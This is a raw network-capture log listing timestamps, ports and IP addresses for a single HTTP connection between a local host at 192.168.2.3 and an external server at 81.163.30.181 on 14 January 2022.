Jan 14, 2022 20:24:07.619697094 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.619695902 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:07.619720936 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.619739056 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:07.619741917 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.619765997 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:07.619767904 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.619785070 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:07.619793892 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.619820118 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.619841099 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:07.619844913 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.619870901 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.619887114 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:07.619896889 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.619924068 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.619944096 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:07.619950056 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.619975090 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.620001078 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.620003939 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:07.620026112 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.620049953 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:07.620050907 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.620076895 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.620093107 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:07.620101929 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.620129108 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.620152950 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.620156050 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:07.620177984 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.620201111 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:07.620203018 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.620228052 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.620244980 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:07.620253086 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.620277882 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.620292902 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:07.620302916 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.620330095 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.620345116 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:07.620354891 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.620400906 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:07.678050995 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.678100109 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.678138971 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.678173065 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:07.678179979 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.678222895 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.678231001 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:07.678263903 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.678303957 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.678304911 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:07.678344965 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.678384066 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.678390026 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:07.678425074 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.678466082 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.678471088 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:07.678507090 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.678545952 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.678545952 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:07.678584099 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.678621054 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:07.678623915 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.678667068 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.678704977 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.678705931 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:07.678744078 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.678782940 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.678787947 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:07.678823948 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.678864956 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.678868055 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:07.678904057 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.678942919 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.678947926 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:07.678982019 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.679020882 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.679023027 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:07.679059982 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.679100990 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:07.679122925 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.679160118 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.679198980 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:07.679202080 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.679241896 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.679280996 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.679280996 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:07.679320097 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.679359913 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.679361105 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:07.679398060 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.679436922 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.679440022 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:07.679475069 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.679514885 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.679519892 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:07.679554939 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.679593086 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.679594040 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:07.679634094 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.679672956 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:07.679677010 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.679717064 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.679757118 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.679758072 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:07.679796934 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.679836988 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.679840088 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:07.679878950 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.679917097 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.679919004 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:07.679956913 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.679995060 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:07.736515045 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.736567974 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.736607075 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.736641884 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:07.736656904 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.736699104 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.736701965 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:07.736737013 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.736776114 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:07.736778021 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.736819029 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.736860037 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.736869097 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:07.736902952 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.736943007 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.736967087 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:07.736983061 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.737021923 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:07.737023115 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.737063885 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.737102985 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.737107038 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:07.737144947 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.737190962 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:07.737211943 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.737251997 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.737289906 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.737293005 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:07.737329006 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.737369061 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.737370014 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:07.737409115 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.737448931 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:07.737449884 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.737488031 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.737528086 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.737528086 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:07.737567902 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.737606049 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.737607956 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:07.737648964 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.737689972 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.737690926 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:07.737730980 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.737771988 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.737771988 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:07.737809896 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.737870932 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.737890959 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:07.737921000 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.737961054 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.737961054 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:07.738002062 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.738040924 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:07.738040924 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.738082886 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.738123894 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:07.738130093 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.738173008 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.738209963 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.738212109 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:07.738250017 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.738289118 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:07.738291025 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.738328934 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.738368034 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.738372087 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:07.738408089 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.738445997 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.738447905 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:07.738486052 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.738527060 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:07.795597076 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.795648098 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.795690060 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.795708895 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:07.795730114 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.795772076 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.795773983 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:07.795813084 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.795855045 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.795861959 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:07.795893908 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.795934916 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.795941114 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:07.795974970 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.796016932 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.796017885 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:07.796057940 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.796097040 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.796102047 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:07.796137094 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.796179056 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.796180010 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:07.796216965 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.796257019 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.796260118 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:07.796295881 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.796335936 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.796339035 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:07.796375036 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.796416044 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.796418905 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:07.796456099 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.796497107 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.796502113 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:07.796535969 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.796576977 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.796577930 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:07.796618938 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.796665907 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.796672106 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:07.796706915 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.796746969 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.796747923 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:07.796808004 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.796845913 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.796852112 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:07.796885967 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.796926022 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.796928883 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:07.796966076 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.797008991 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.797012091 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:07.797046900 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.797089100 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.797091961 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:07.797130108 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.797168016 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.797180891 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:07.797209024 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.797247887 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.797276974 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:07.797324896 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.797363997 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.797374010 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:07.797406912 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.797446966 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.797462940 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:07.797487974 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.797528028 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.797528982 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:07.797566891 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.797606945 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.797607899 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:07.797647953 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.797688961 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:07.854372978 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.854422092 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.854463100 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.854490042 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:07.854501963 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.854542971 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.854548931 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:07.854584932 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.854629993 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.854631901 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:07.854672909 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.854713917 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.854720116 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:07.854753017 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.854792118 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.854804993 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:07.854831934 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.854871035 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.854893923 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:07.854911089 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.854949951 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.854955912 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:07.854990005 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.855032921 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.855034113 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:07.855072021 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.855110884 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.855117083 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:07.855150938 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.855187893 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.855194092 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:07.855227947 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.855266094 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.855273962 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:07.855321884 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.855366945 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:07.855411053 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.855468988 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.855515003 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:07.855529070 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.855592012 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.855638981 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:07.855649948 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.855714083 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.855763912 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:07.855777979 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.855837107 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.855880976 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.855882883 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:07.855921030 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.855962992 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.855964899 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:07.856004000 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.856041908 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.856046915 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:07.856204987 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.856249094 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.856255054 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:07.856290102 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.856331110 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.856338024 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:07.856370926 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.856409073 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.856415987 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:07.856450081 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.856489897 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.856492996 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:07.856529951 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.856570005 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.856574059 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:07.856607914 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.856658936 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.856661081 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:07.856700897 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.856738091 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.856745958 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:07.856779099 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.856823921 CET	49907	80	192.168.2.3	81.163.30.181
